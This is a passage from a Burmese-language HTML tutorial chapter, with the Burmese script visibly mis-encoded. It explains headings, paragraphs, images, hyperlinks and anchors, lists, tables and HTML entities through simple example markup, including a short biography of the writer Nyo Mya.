စသပဖေင့် စုစုိပါင်း  (၆)  ဆင့် ခွဲပခားအသံုးပပုနိုငပ်ါတယ်။ ကုိြယ် တည်ိ ဆာက်ြိနတဲ့  Document  သဘာဝနဲ့ကုိြက်ြညီ
ိအာင ်သက်ြဆုိငရ်ောိခါငး်စီး၊ ိခါင်းစဉခ်ွဲတို့ကြို ိရေးွချယ်အသံုးပပုရေမာှပပဲဖေစ် ပါတယ်။

စာပိုဒ်ိ တထွည့်သွငး်ိဖောပ်ပဖေို့အတက်ွြ  <p> Element  ကုိြ  အသံုးပပုရေပါတယ်။  ိခါငး်စဉ်ိ တနွဲ့စာပိုဒ်ိ တပွါဝငတ်ဲ့
HTML Document တစ်ခဟုာ အခလုို ပဖေစ်နိုငပ်ါတယ်။
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<!doctype html> 
<html> 
  <head> 
    <meta charset="UTF-8"> 
    <title>ညို ပမ - စာိရေးဆရော</title> 
  </head>
  <body>
    <h1>စာိရေးဆရောကကြးီ ဦးညို ပမ</h1>
    <img src="nyomya.gif" alt="ဦးညို ပမပုံ">
    <p> 

 မုံရောွခရုိင် ိချာငး်ဦးပမို ့နယ ်အပမင့်ပမို ့ ိသာတာပန ်ရွော၌ အဖေ မငး်တုိငပ်င ်အမတ် တီပအီကြစ်ဘ်ွဲ့ရေ အမနိ့်ိ တာရ်ေ 
  ိရေှ့ိန ဦးသာဇံ၊ အမ ိိဒါ်အံ့ (ိဒါ်ိရေွှအံ့) တုိက့ြ ၁၉၁၄ ခနုစှ ်ဧပပလီ ၁ဝ ရေကြ ်ိသာအကြာိနတွ့င် ိမးွဖောွးသည။် 
  အမညရ်ေငး် ဦးသနိး်တင ်ပဖေစ်ိ သာလ်ညး် ကြိလာင ်အမည ်ညို ပမ သညပ်င ်အမညရ်ေငး် ကြဲ့သို့ တွငသ်ည။် 

    </p> 
    <p> 

 ိရေွှကြရူောွ ဆရောလှိုင၏် မလူတနး် ိကြျာငး်၊ အကြကြသ်နွ်ိ ဈေးရောွ ဆရောိတာ ်ဦးဉာဏ ိကြျာငး်တုိတွ့င် စတင ်
  ပညာ သငခ်ဲ့၏။ ၁၉၃၃ ခနုစှတွ်င် ရေနက်ြနု ်တကြ္ကသိုလ်၌ ဆကြလ်ကြ ်ပညာ သငသ်ည။် ၁၉၃၈ ခနုစှတွ်င ်
  ဝဇိ္ဇာ (အဂအင်္ဂလိပစ်ာ ဂဏ်ုထူးတနး်) ဘွဲ့  ရေခဲ့သည။် ၁၉၄၃ ခနုစှတွ်င် မဟာ သပိ္ံပ (သတငး်စာ ပညာ) ဘွဲ့  ရေခဲ့သည။် 

    </p> 
    <h2>ဘဝနိဂံုး</h2> 
    <p> 
      ၁၉၈၅ ခနုစှ ်စကြတ်ငဘ်ာလ ၂၉ ရေကြ်ိ န့ ညိန ၆ နာရေ ီ၃ဝ မနိစတွ်င ်ရေနက်ြနု ်ိဆးရံုကကြးီ၌ ကြယွလွ်န ်ခဲ့သည။် 
    </p> 
  </body>
</html>

နမနူာကုိြ ိလလ့ာအကြည့်မယ်ဆုိရေင်  <head> Element  အတငွး်မာှ  <meta> Element  တစ်ခု ပဖေည့်စွက်ြပါဝငလ်ာ
တာကုိြ  ိတွ့ရေပါမယ်။  ဒီ  Element  ကြလက်ြရေှိ  Document  ထမဲာှပါဝငတ်ဲ့  Content  ိတကုိွြိဖောပ်ပဖေို့  UTF-8
Encoding  ကုိြ အသံုးပပုရေမယ်လိုိ့ အကြပငာလိုက်ြတာပပဲဖေစ်ပါတယ်။ ဒလီိုသတမ်တှ်ိ ပးထားမသှာ ပမနမ်ာစာအပါအဝင်
အပခားအဂအင်္ဂလပိစ်ာမဟတုတ်ဲ့ စာများကုိြမနှက်ြန်ိအာင ်ိဖောပ်ပိပးနိုငမ်ာှ ပဖေစ်ပါမယ်။

<body> Element  အတငွး်မာှ  အဓကိြိခါငး်စဉ်အပဖေစ်အသံုးချလိုတဲ့  <h1> Element  တစ်ခပုါဝငပ်ပီး  ိခါငး်စဉခ်ွဲ
အပဖေစ်  ိဖောပ်ပလိုတဲ့  <h2> Element  တစ်ခတုို့ပါဝငတ်ာကုိြလညး်သတပိပုမမိာှပါ။  ထည့်သွငး်လိုတဲ့  စာပိုဒက်ြိတာ့
(၃) ပိုဒ် ပဖေစ်တဲ့အတက်ွြ <p> Element သံုးခု အသံုးပပုထားတာကုိြ ိတွ့ရေနိုငပ်ါတယ်။

ထးူပခားချက်ြအိနနဲ့  <img> Element  တစ်ခကုိုြလညး်  အသံုးပပုထားပါတယ်။  <img> Element  ကုိြ  ပုိံ တွ
ထည့်သွငး်လိုတဲ့ အခါအသံုးပပုရေပါတယ်။ Empty Element တစ်ခပုဖေစ်ပပးီ သူမ့ာှ  Close Tag နဲ့  Tag Content မ
ပါဝငပ်ါဘးူ။ ဒါိပမယ့် တွဲဖေက်ြအသံုးပပုရေတဲ့  Attribute  နစ်ှခရုေှိပါတယ်။ src Attribute ကုိြ ပုံတညရ်ေှိတဲ့  Path  ကုိြ
ညနွပ်ပိပးဖေို့ အသံုးပပုရေပါတယ်။  alt Attribute  ကုိြိတာ့ ပုံမိဖောပ်ပနိုငတ်ဲ့ အိပခအိနိတမွာှ ပုံအစားိဖောပ်ပိစလို
တဲ့စာ ထည့်သွင်း ိပးဖေိုသံု့းရေပါတယ်။ ပုံမိဖောပ်ပနိုင် တဲ့အိပခအိနဆုိတာ src မာှိပးထားတဲ့ Path လဲွမာှးိနတာပဲ
ပဖေစ်ပဖေစ်၊ အငတ်ာနက်ြ အဆက်ြအသွယ်အခက်ြအခဲိ အကြာင့် မိဖောပ်ပနိုငတ်ာပပဲဖေစ်ပဖေစ် အိပခအိနတစ်ရေပရ်ေပ်ိ အကြာင့် ပုံ
မိဖောပ်ပနိုငတ်ဲ့  အိပခအိနကုိြဆိုလိုတာပါ။  ိရေးသားထားတဲ့  နမနူာကုိြ  nyomya.html File  Name  နဲ့  ကူြးယူ
သိမး်ဆညး်ပပးီ  Web Browser နဲ့ ဖေငွ့်လစ်ှ အကြည့်ရှုမယ်ဆုိရေင် အခလုိို တွ့ ပမငရ်ေမာှပပဲဖေစ်ပါတယ်။
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<h1> Element  အသံုးပပုထားတဲ့  အဓကိြိခါင်းစီးကုိြ  စာလုံးခပက်ကီြးကကီြးနဲ့ိ တွ့ရေမာှပဖေစ်ပပးီိတာ့  <h2> Element
အသံုး ပပုထားတဲ့  ိခါင်းစဉခ်ွဲကြိတာ့  အနညး်ငယ်ိ သးတာကုိြိတွ့ရေမာှပဖေစ်ပါတယ်။  ဒါိပမယ့် ဒီိ နရောမာှ  ထပမ်ံ
သတိိ ပးချငတ်ာ ကြိတာ့ ကြျွန်ိ တာတ်ို့ကြ  Document Structure  တည်ိ ဆာက်ြိနပခငး် ပဖေစ်ပါတယ်။  Browser
ကြ အဆင်ိ ပပိအာင ်ိဖောပ်ပိပးိနိပမယ့် စာလုံးကကီြးချငလ်ို့ <h1> Element သံုးတာမဟတုပ်ါဘးူ။ အဓကိြိခါငး်စီး
မို့ <h1> သံုးတာပါ။ အနညး်ငယ်ပကဲကီြးချငလ်ို့ <h2> သံုးတာမဟတုပ်ါဘးူ၊ ိခါငး်စဉခ်ွဲမို့ <h2> သံုးတာပဖေစ်ပါတယ်။

လက်ြိတွ့မာှ  Browser  ကြ အလိုအိလျှာက်ြိဖောပ်ပိပးိနတဲ့  Size  ကြ အသံုးမဝငပ်ါဘးူ။  ကြျွန်ိ တာတ်ို့လိုချငတ်ဲ့
Size  နဲ့  Style  အတအိကြျရေိအာင်  CSS  နဲ့  မပဖေစ်မိနပပငဆ်ငယူ်ရေဦးမာှပါ။  ဒါိအကြာင့်   HTML  ိရေးသားချနိမ်ာှ
"ဘယ်လိို ပါ်မလဲ" ဆုိတာကုိြ မစဉး်စားသင့်ပါဘးူ။ ဘယ်လိုအချက်ြအလက်ြလ ဲဆုိတာကုိြသာစဉး်စားပပးီ သင့်ိ တာတ်ဲ့
Element နဲ့ အသံုးပပုိပးရေမာှပပဲဖေစ်ပါတယ်။

မတ်ှချကြ်  ။  ။ HTML  Document  ကြို  ိရေးသားတ့ဲအခါမာှ  ထည့်သငွး်ထားတ့ဲ  White  Space  ိတွကြို  အလုပလု်ပ်တ့ဲအခါ
ထည့်သငွး်စဉး်စားမာှမဟတ်ုပါဘးူ။  White  space  ဆုိတာ  "Space"  "Tab"  နဲ့  "New  Line"  တုိအ့တွကြ်  အသုံးပပုထားတ့ဲ
ိနရောလွတ်ိတွကြို ိပပာတာပါ။ HTML Document ကြို ကြနွပ်ျူတာကြ Process လုပတ့ဲ်အခါမာှပဲ ပဖေစပ်ဖေစ၊် Web Browser ကြ
ိဖောပ်ပတ့ဲိနရောမာှပဲ  ပဖေစပ်ဖေစ်  White Space  ိတွအစား  Single Space  နဲ့သာ အစားထုိးပပးီအလုပလု်ပသ်ာွးမာှပဖေစပ်ါတယ။် ဒါ
ိအကြာင့် ကြျွန်ိ တာတုိ့် Document ထဲမာှ White Space ိတွကြို နစှသ်ကြ ်သလုိ ထည့်သငွး်ိရေးသားနိုငပ်ါတယ။်



Professional Web Developer - အခန်း (၂) HyperText Markup Language - HTML 35

မတ်ှချကြ် ။ ။ ဒစီာအပုမ်ာှိဖောပ်ပတ့ဲ နမနူာိတွကြို eimaung.com/pwd-rc  မာှ အခနး်စဉအ်တုိငး် ထည့်ိ ပးထားပါတယ။် နမနူာ
ိတွကြို  ကြိုယတုိ်ငက်ြးူယစူမး်သပန်ိုငရ်ေင်ိ တာ့  အိကြာငး်ဆံုးပါပ။ဲ  လကြ်ိ တွ့ိရေးပဖေစသ်ာွးိတာ့  ပိုမတ်ှမိိ စပါတယ။်  ိရေးသားတ့ဲ
ိနရောမာှ နစှသ်ကြရ်ော Text Editor  ကြို အသုံးပပုိရေးသားနိုငပ်ါတယ။် ဒါိပမယ့် Notepad လုိ  Editor မျိုးနဲ့ိ တာ့ သပိအ်ဆင်
မိပပပါဘးူ။ အိပခခံ လုပ်ိ ဆာငခ်ျကြ်ိ တွပဖေစတ့ဲ်  Line Number, Syntax Highlight, Auto Indent အစရေှိတ့ဲ လုပ်ိ ဆာငခ်ျကြ်
ိတွပါဝငတ့ဲ်  Text  Editor  တစခ်ခုကုြို  အသုံးပပုသင့်ပါတယ။်  ဥပမာ  -  Sublime Text  (sublimetext.com),  Notepad++
(notepad-plus-plus.org)

Hyperlink and Anchor
ိရေှ့အခနး်မာှ Web Server တစ်ခမုာှသိမး်ဆညး်ထားတဲ့ Document နဲ့  Resource တိုငး်အတက်ွြ ကုိြယ်ပိုငလ်ပိစ်ာ
URL တစ်ခစီုရေှိအကြတယ်လို့ ိဖောပ်ပခဲ့ပါတယ်။  HTML Document  ိတရွေဲ့  အဓကိြထးူပခားချက်ြကြိတာ့ အ့ဲဒီ  URL
လပိစ်ာိတကုိွြ အသံုးပပုပပးီ  Document  တစ်ခကုြိန အပခား  Document  ိတကုိွြ  Hyperlink  ိတနွဲ့ချတိဆ်က်ြနိုင်
ပခငး်ပဲ ပဖေစ်ပါတယ်။

အ့ဲဒီအပပင်  Document  တစ်ခရုေဲ့အတငွး်ထကဲြ  အစိတ်အပိုငး်တစ်ခကုြိန အပခားအစိတအ်ပိုငး်  တစ်ခကုိုြလညး်
ချတိဆ်က်ြ နိုငပ်ါိသးတယ။် ပပငပ်  Document  တစ်ခနုဲ့ချတိဆ်က်ြထားတဲ့  Link  ကုိြ  Hyperlink  ိခါ်ပပးီ  လက်ြရေှိ
Document ထဲကြပဲ အပခားအစိတအ်ပိုငး်တစ်ခကုိုြချတိဆ်က်ြထားတဲ့ Link ကုိြိတာ့ Anchor လိုိ့ ခါ်ိလရ့ေှိပါတယ်။
တနညး်ိပပာရေမယ်ဆုိရေင်  Link  ိတမွာှ  ပပငပ် Resource  တစ်ခကုိုြရေညည်ွှနး်ချတိဆ်ကြန်ိုငတ်ဲ့  External  Link  နဲ့
လက်ြရေှိ  Document  အတငွး်အစိတ် အပိငုး်တစ်ခကုိုြ ရေညည်ွှနး်ချတိဆ်က်ြနိုငတ်ဲ့  Internal Link ဆုိပပီး နစ်ှမျို းရေှိတဲ့
သိဘာပဖေစ်ပါတယ်။ 

External Link ထည့်သွငး်ချငရ်ေင် <a> Element ကုိြ အသံုးပပုရေပပးီ Internal Link ထည့်သွငး်ချငရ်ေငလ်ညး် <a>
Element  ကုိြပဲ  အသံုးပပုရေပါတယ်။  <a> Element  တိုငး်မာှ  href ဆုိတဲ့  လပိစ်ာ  URL  ထည့်သွငး်ဖေို့  အတက်ွြ
Attribute တစ်ခု မပဖေစ်မိနပါဝငရ်ေပါတယ်။ Google Search ကုိြ ချတိဆ်က်ြထားတဲ့ External Link တစ်ခကုိုြ အခု
လိုထည့်သွင်း နိုငပ်ါတယ်။

<a href="http://www.google.com/" title="Google Search">Search</a>

ိပးထားတဲ့ နမနူာမာှ  http://www.google.com/ ဆုိတဲ့လပိစ်ာ  URL  ကုိြ  href Attribute  နဲ့  <a> Element
အတက်ွြ ထည့်သွငး်ိပးထားပါတယ်။  ဒီ  Link  ကုိြနှိပလ်ိုက်ြရေင်  http://www.google.com ဆုိတဲ့လပိစ်ာကုိြသွားရေ
မယ်လို့ ရေညည်ွှနး် ထားပခငး်လညး်ပဖေစ်ပါတယ်။ 

title Attribute ထည့်သွငး်ိပးထားတာကုိြလညး် နမနူာမာှိတွ့ရေမာှပါ။ ဒီ Attribute ကြ မထည့်လညး်ရေိပမယ့်
<a> Element  တိုငး်မာှ အပမထဲည့်သွင်းိပးသင့်တဲ့  Attribute  တစ်ခပုဖေစ်ပါတယ်။  title Attribute  ကြ လက်ြရေှိ
Element  ရေဲ့  အဓပိ္ပါယ်အကြျဉး်ကုိြ  အသံုးပပုသူအတက်ွြိရော  Search Engine Spider  ိတလွို  ကွြနပ်ျူတာပရုိဂရေမ်
ိတအွတက်ွြပါ ရေငှး်ပပ ထားတဲ့ သိဘာပဖေစ်ပပးီ <a> Element တငမ်ကြပဲ အပခားမညသ်ည့် HTML Element နဲ့ မ
ဆုိတွဲဖေက်ြအသံုးပပုလို့ ရေပါတယ်။ 

http://www.google.com/
http://www.google.com/
http://notepad-plus-plus.org/
http://sublimetext.com/
http://eimaung.com/pwd-rc
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မတ်ှချကြ် ။ ။ HTML Element တစခ်မုာှ title Attribute ိပးထားတ့ဲအခါ Web Browser မာှ အကြည့်ရှုိနစဉ်  Mouse နဲ့
Element  ကြို  ိထာကြလုိ်ကြမ်ယဆုိ်ရေင်  title Attribute  မာှ  ထည့်သငွး်ိပးထားတ့ဲ  အချကြအ်လကြက်ြို  Tool  Tip  အိနနဲ့
ိဖောပ်ပိပး မာှ ပဖေစပ်ါတယ။်

URL  မာှ ရေညည်ွှနး်ထားတဲ့  Document  ကုိြ  သီးပခား  Browser Window  နဲ့ိ ဖောပ်ပိစချငရ်ေငသံု်းတဲ့   Attribute
တစ်ခရုေှိပါ တယ် target="_blank" ဆုိတဲ့ Attribute ပပဲဖေစ်ပါတယ။် ခလုိုိ ရေးသားိပးရေပါတယ်။ 

<a href="http://www.google.com/" target="_blank">Search</a>

ဒီ Attribute ဟာ တစ်ခါတစ်ရေမံာှ အသံုးဝငန်ိုငတ်ဲ့အတက်ွြ ထည့်သွငး်ိဖောပ်ပိပးတာပါ။ ဒါိပမယ့်  အသံုးမပပုသင့်ပါ
ဘးူ။  Web Browser  တိုငး်မာှ  Link  ကုိြ  Right Click  နှိပလ်ိုက်ြရေင်  "Open Link in New Window"  ဆုိတဲ့
Option  ပါဝင်ိ လရ့ေှိပါတယ်။ အသံုးပပုသူကြဆန္ဒရေှရိေင်  Link  ကုိြ  သီးပခား  Window  တစ်ခနုဲ့ိ ဖောပ်ပဖေို့  သူကုိြယ်တိုင်
ိရေးွချယ်နိုငမ်ာှပဖေစ်ပါတယ်။  ကြျွန်ိ တာတ်ို့  ထည့်ိ ပးဖေို့မလိုပါဘူး။  ထည့်ိ ပးလိုက်ြိတာမ့ှ  အသံုးပပုသူအတက်ွြ
ပပဿနာ ပဖေစ်ိနတက်ြတာပါ။ နှိပလ်ိုက်ြရေငသီ်းပခား Window နဲ့ပဲ အပမဲိ ဖောပ်ပိတာမ့ာှပါ။ လက်ြရေှိ  Window ထမဲာှပဲ
ိဖောပ်ပိစချငပ်ါတယ်လို့  ိရေးွစရော  Option  မရေှိိ တာပ့ါဘူး။ ကြျွန်ိ တာတ်ို့ကြ အသံုးပပုသူကုိြ  "သီးပခား  Window  နဲ့
အကြည့်ကုိြအကြည့်ရေမယ်" လ့ုိ ဇွတအ်တငး်  Force  လုပလ်ိုက်ြသလိုပဖေစ်သွားပါတယ။် ဒီ  User Experience  ရှုိဒါင့်အရေ
အကြည့်ရေင်  target="_blank" Attribute  ကုိြ  ိရောှငသ်င့်တာ  ပဖေစ်ပါတယ်။  ဒီိ နရောမာှထည့်သွင်းိဖောပ်ပတာ
ကြိတာ ့မပဖေစ်မိနလိုအပတ်ဲ့ တစ်ခါတစ်ရေမံာှ အသံုးဝငတ်က်ြလို့သာ ထည့်သွငး် ိဖောပ်ပိပးထားတာ ပဖေစ်ပါတယ်။

Internal Link (Anchor)  တစ်ခု ထည့်သွင်းဖေို့အတက်ွြ ကြျွန်ိ တာတ်ို့ ပဖေည့်စွက်ြနားလညရ်ေမာှကြိတာ့  Document
တစ်ခု အတငွး်မာှ ပါဝငတ်ဲ့  HTML Element  တိုငး်ကုိြ ကုိြယ်ပိုင်  ID  သတမ်တှ်ိ ပးထားလို့ ရေတယ်ဆုိတဲ့အချက်ြပဲ
ပဖေစ်ပါတယ်။ ဥပမာ - 

<h2 id="ch2">Chapter Two</h2>

နမနူာမာှ  <h2> Element  ကုိြ  id Attribute  အသံုးပပုပပးီ ကုိြယ်ပိုင်  ID  တစ်ခု သတမ်တှ်ိ ပးထားလိုက်ြပါတယ်။
လက်ြရေှိ  Document  မာှ  တစ်ပခား  <h2> Element  ိတလွညး် ရေှိနိုငပ်ါိသးတယ်။ ဒါိပမယ့် ဒီ  <h2> ကြိတာ့
သူများနဲ့မတပူဲ ကုိြယ်ပိငု်  ID တစ်ခရုေှိသွားပပပီဖေစ်ပါတယ်။  <a> Element ကုိြ အသံုးပပုပပးီ လက်ြရေှိ Document ထဲ
ကြပ ဲိနရောတစ်ခကုိုြ အတအိကြျ ညွှနး်ဆုိချတိဆ်က်ြလိုရေင ်ID ကုိြ ညွှနး်ပပးီ ချတိဆ်က်ြရေတာပါတယ်။ ဥပမာ - 

<a href="#ch2">Chapter Two</a>

ဒီ  <a> Element  ရေဲ့  href Attribute  မာှ  Document  တစ်ခကုိုြရေညည်ွှနး်ထားတာမဟတုပ်ဲ လက်ြရေှိ  Document
ထကဲြပဲ  ch2 ဆုိတဲ့  ID  ရေှိတဲ့  Element  ကုိြရေညည်ွှနး်လိုက်ြတာပဖေစ်ပါတယ်။  #ch2 လ့ုိ  ိရေှ့မာှ  # Sign  ိလး
ထည့်သွငး်ိပးရေတာကုိြ သတပိပုပါ။
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External Link ိတမွာှလညး် ပပငပ် Document တစ်ခကုိုြညွှနး်ဆုိယံုမကြ အ့ဲဒီ Document ထကဲြ Element တစ်ခု
ကုိြ တိုက်ြရုိကြ ်ညွှနး်ဆုိလိုရေငလ်ညး် ဒနီညး်အတိုငး်ပဲအသံုးပပုနိုငပ်ါတယ်။ ဥပမာ - 

<a href="http://example.com/toc.html#ch2">Chapter Two</a>

နမနူာမာှ  example.com/toc.html ကုိြ ညွှနး်ဆုိယံုမကြ အ့ဲဒီ  Document  ထဲကြ  #ch2 ဆုိတဲ့  Element  ထိ
အတအိကြျ ညွှနး်ဆုိထည့်သွငး်ိပးလိုက်ြတာပ ဲပဖေစ်ပါတယ။်

Lists
HTML Document  တစ်ခမုာှ စာရေငး်အိနနဲ့ ိဖောပ်ပတဲ့  List  ိတထွည့်သွငး်ဖေို့အတက်ွြ Element  နစ်ှခု ရေှိပါတယ်။
<ul> နဲ့ <ol> ပဖေစ်ပါတယ်။ <ul> ဆုိတာ Unordered List ဆုိတဲ့အဓပိ္ပါယ် ပဖေစ်ပပးီ စာရေငး်ကုိြ Bullet ိလးိတနွဲ့
ိဖောပ်ပိပး မာှ ပဖေစ်ပါတယ်။  <ol> ကြိတာ့ Ordered List ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပပီး စာရေငး်ကြို နပံါတစ်ဉန်ဲ့ ိဖောပ်ပိပး
မာှပပဲဖေစ် ပါတယ်။

ဒီိ နရောမာှလဲ  ကုိြယ်ထည့်သွငး်တဲ့  List  ကြ  အစီအစဉက်ြျနပပီးသား  စာရေငး်ဆုိရေင်  <ol> ကုိြ  အသံုးပပုသင့်ပပးီ
အစီအစဉ်  ကြျနတဲ့  စာရေငး်မဟတုရ်ေင်  <ul> ကုိြ  သံုးသင့တ်ာပဖေစ်ပါတယ်။  အချက်ြအလက်ြအမျို းအစားနဲ့  ကုိြက်ြညီ
ိအာင်  အသံုးပပုရေ တာပဖေစ်ပပးီ  ိဖောပ်ပ ပုံကုိြအကြည့်ပပးီ  ိရေးွချယ်အသံုးပပုရေတာမဟတုပ်ါဘးူ။  Bullet  နဲ့  ိဖောပ်ပတယ်၊
နပံါတစ်ဉန်ဲ့ိ ဖောပ်ပတယ် ဆုိတဲ့ အပပင်အဆငက်ြ ိနာက်ြမ ှလိုသလိုိ ပပာငး်လယူဲလို့ရေပါတယ်။

<ul> <ol> Element ိတအွတငွး်ထမဲာှ ပါဝငရ်ေမယ့် Item စာရေငး်ကိြုိ တာ့  List Item Element ပဖေစ်တဲ့ <li>
Element အသံုးပပုထည့်သွငး်ိပးရေမာှပ ဲပဖေစ်ပါတယ်။

ိရေးသားပုံနမနူာ

<ol>
  <li>Chapter One</li>
  <li>Chapter Two</li>
  <li>Chapter Three</li>
  <li>Chapter Four</li>
</ol>

ရေလဒ်

1. Chapter One
2. Chapter Two
3. Chapter Three
4. Chapter Four

ိရေးသားပုံနမနူာ

<ul>
  <li>Yangon</li>
  <li>Mandalay</li>
  <li>Naypyidaw</li>
  <li>Monywa</li>
</ul>

ရေလဒ် 

• Yangon
• Mandalay
• Naypyidaw
• Monywa
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<ol> Element ကုိြ အသံုးပပုတဲ့  List  တစ်ခမုာှ စမတှကုိ်ြ သတမ်တှ်ိ ပးချငရ်ေင်  start Attribute အသံုးပပုနိုငပ်ါ
တယ်။ ဥပမာ - <ol start="5"> ဆုိရေင် နပံါတစ်ဉ်ိ ဖောပ်ပတဲ့အခါ 1 ကြမစဘဲ 5, 6, 7 စသပဖေင့် ိဖောပ်ပိပး သွား
မာှပဖေစ်ပါ တယ်။ 

တစ်ခါတစ်ရေံ  စာရေငး်ကြ အစီအစဉတ်ကြျိတာ့ အစီအစဉတ်ကြျပ၊ဲ  ဒါိပမယ့် အစအီစဉက်ြိပပာငး်ပပန်  (ကကီြးစဉ်  ငယ်
လိုက်ြ)  စီစဉခ်ျငတ်ာမျို းလညး်ရေှိတက်ြပါတယ်။ အ့ဲဒလီိုဆိရုေင်ိ တာ့  reversed Attribute ကုိြ အသံုးပပုနိုငပ်ါတယ်။
ဥပမာ - 

<ol reversed>

မတ်ှချကြ် ။ ။ တစခ်ျို့ Element Attribute ိတွမာှ Attribute Name ပပဲါပပးီ Value မပါတ့ဲ Attribute ိတွရေှိပါတယ။် အဲ့ဒလုိီ
Attribute ိတွကြိုတစပ်ခား Attribute ိတွိရေးသားပုံနဲ့ တစည်တီညး်ပဖေစ်ိ စချငရ်ေင် Attribute Name ကြိုပဲ Value အပဖေစ ်အသုံး
ပပုိရေးသားနိုငပ်ါတယ၊် ဥပမာ - <ol reversed="reversed">။ XHTML ိခတ်ကြ ဒလုိီအပပည့်အစုံိ ရေးတာကြို အားိပး
ခဲ့အကြိပမယ့်  အခုိ နာကြပ်ိုငး်မာှိတာ့  ိရေးသားရေတုိတ့ဲ  Value  မပါပဲ  Attribute  Name  သကြသ်ကြ်ိ ရေးသားတ့ဲ  ိရေးနညး်ကြို
အားိပးလာ အကြပပနပ်ါတယ။် နစှသ်ကြသ်လုိ ိရေးသားနိုငပ်ါတယ။်

Table
ဇယားိတထွည့်သွင်းဖေို့အတက်ွြ  <table> Element  ကုိြ  အသံုးပပုနိုငပ်ါတယ်။  ဇယားတစ်ခဟုာ  Rows  ိတွ
Columns  ိတနွဲ့ ဖေွဲ့စညး်ထားတာမို့  Table  တစ်ခထုည့်သွငး်မယ်ဆုိရေင်  Rows  ိတ ွColumns  ိတပွါ သတမ်တှ်
ထည့်သွငး်ိပးရေ မာှပဖေစ်ပါတယ်။  Rows ိတထွည့်သွငး်ဖေို့အတက်ွြ  Table Row <tr> Attribute  သံုးရေမာှပဖေစ်ပပးီ
Rows တစ်ခစီုမာှ ပါဝငတ်ဲ့ Columns ိတကုိွြ Table Data <td> Attribute နဲ့ သတမ်တှ်ိ ပးရေမာှပဖေစ်ပါတယ။် 

ိရေးသားပုံနမနူာ

<table border="1">
  <tr>
    <td>484</td>
    <td>MX</td>
    <td>MEX</td>
    <td>Mexico</td>
  </tr>
  <tr>
    <td>504</td>
    <td>MA</td>
    <td>MAR</td>
    <td>Morocco</td>
  </tr>

  <tr>
    <td>104</td>
    <td>MM</td>
    <td>MMR</td>
    <td>Myanmar</td>
  </tr>
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  <tr>
    <td>524</td>
    <td>NP</td>
    <td>NPL</td>
    <td>Nepal</td>
  </tr>
</table>

ရေလဒ်

484 MX MEX Mexico

504 MA MAR Morocco

104 MM MMR Myanmar

524 NP NPL Nepal

Table အတက်ွြ ိခါငး်စီးထည့်သွငး်ချငရ်ေင်ိ တာ ့ိခါငး်စီးအပဖေစ်ိဖောပ်ပလိုတဲ့ Column မာှ <td> Element အစား 
<th> Element နဲ့ ိပပာငး်လအဲသံုးပပုိပးရေမာှပဖေစ်ပါတယ်။ 

ိရေးသားပုံနမနူာ

<table border="1">
  <tr>
    <th>Code</th>
    <th>ISO</th>
    <th>ISO3</th>
    <th>Name</th>
  </tr>

  <tr>
    <td>504</td>
    <td>MA</td>
    <td>MAR</td>
    <td>Morocco</td>
  </tr>
  <tr>
    <td>104</td>
    <td>MM</td>
    <td>MMR</td>
    <td>Myanmar</td>
  </tr>
</table>
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ရေလဒ်

Code ISO ISO3 Name

504 MA MAR Morocco

104 MM MMR Myanmar

Table ကုိြ <thead> <tbody> <tfoot> Element ိတသံုွးပပးီိတာ့ အပိုင်းလိုက်ြလညး် ခွဲပခားသတမ်တှလ်ို့ရေ
ပါတယ်။ 

ိရေးသားပုံနမနူာ

<table>
  <thead>
    <tr>
      <th colspan="4">Country List</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th>Code</th>
      <th>ISO</th>
      <th>ISO3</th>
      <th>Name</th>
    </tr>
    <tr>
      <td>504</td>
      <td>MA</td>
      <td>MAR</td>
      <td>Morocco</td>
    </tr>
    <tr>
      <td>104</td>
      <td>MM</td>
      <td>MMR</td>
      <td>Myanmar</td>
    </tr>
  </tbody>
  <tfoot>
    <tr>
      <td colspan="4">&copy; Copyright 2013</td>
    </tr>
  </tfoot>
</table>
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ရေလဒ်

Country List

Code ISO ISO3 Name

504 MA MAR Morocco

104 MM MMR Myanmar

  Copyright 2013©

<thead> Element ထဲကြ <td> မာှ  colspan="4" ဆုိတဲ့  Attribute တစ်ခသံုုးထားတာကုိြ သတပိပုပါ။ အ့ဲဒီ
Attribute  ကြ  Column  ိတကုိွြ ိပါငး်စပ်ိ နရောယူိစလိုတဲ့အခါ အသံုးပပုပါတယ်။  colspan="4" ရေဲ့  အဓပိ္ပါယ်
ကြ  ဒီိ နရောမာှ  "ိလးကွြက်ြစာိနရောယူပါ"  လ့ုိ  ိပပာလိုက်ြသလိုပါပ။ဲ  ဒါိအကြာင့်  ရေလဒမ်ာှအကြည့်လိုက်ြ  ရေငလ်ညး်
Country List ဆုိတဲ့ Column ကြ ိလးကွြက်ြစာ ိနရောယူပပးီိဖောပ်ပိပးတာကုိြိတွ့ရေမာှပါ။ 

<tfoot> Element ထဲမာှ &copy; ဆုိတဲ့ ိရေးသားမှုတစ်ခကုိုြလညး် သတပိပုပါ။ အဲဒ့ါကြိတာ့ HTML Entitle
Symbol  လိုိ့ ခါ်တဲ့  ထးူပခားတဲ့သိကြအင်္ဂတိတ ွ ထည့်သွငး်လိုတဲ့အခါ  အသံုးပပုရေတဲ့  ိရေးသားနညး်ပဖေစ်ပါတယ်။
Ampersand (&)  နဲ့အစပပုပပးီ   Semi-Colon (;)  နဲ့  အဆံုးသတ်ိ လရ့ေှိပါတယ်။  &copy; ကြိတာ့  © Symbol
ိလး ထည့်သွငး်ချငတ်ဲ့အခါ ိရေးသားရေတဲ့ HTML Entitle Symbol ပဖေစ်ပါတယ်။ 

&copy; က့ဲြသုိ့ အလားတူ Symbol ိတအွများကကီြးရေှိပါတယ်။ ထည့်သွငး်မတှသ်ားသင့်တဲ့ Symbol အချို ့ကုိြိဖောပ်ပ
ိပးလိုက်ြပါတယ်။ 

&nbsp; - [Space]
&trade; - ™
&reg; - ®
&lt; - <
&gt; - >
&raquo; - »
&laquo; - «

အိရေးအကကီြးဆုံးကြိတာ့ Less Than Sign ( < ) ပဖေစ်ပါတယ်။ ထည့်သွငး်ိဖောပ်ပထားတဲ့စာထမဲာှ Less Than Sign
ထည့်ချငရ်ေင ်ဒတီိုငး်ရုိက်ြထည့်လိုက်ြလို ့မရေပါဘးူ။ Browser ကြ < Sign ကုိြ Tag အဖေငွ့်လိုယူ့ဆ သွားမာှပါ။ &lt; 
လို့ ထည့ိ် ပးမှ  &lt; ိနရောမာှ <  Less Than Sign ကုိြ Browser ကြ အစားထိုးိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။ 

Table Layout
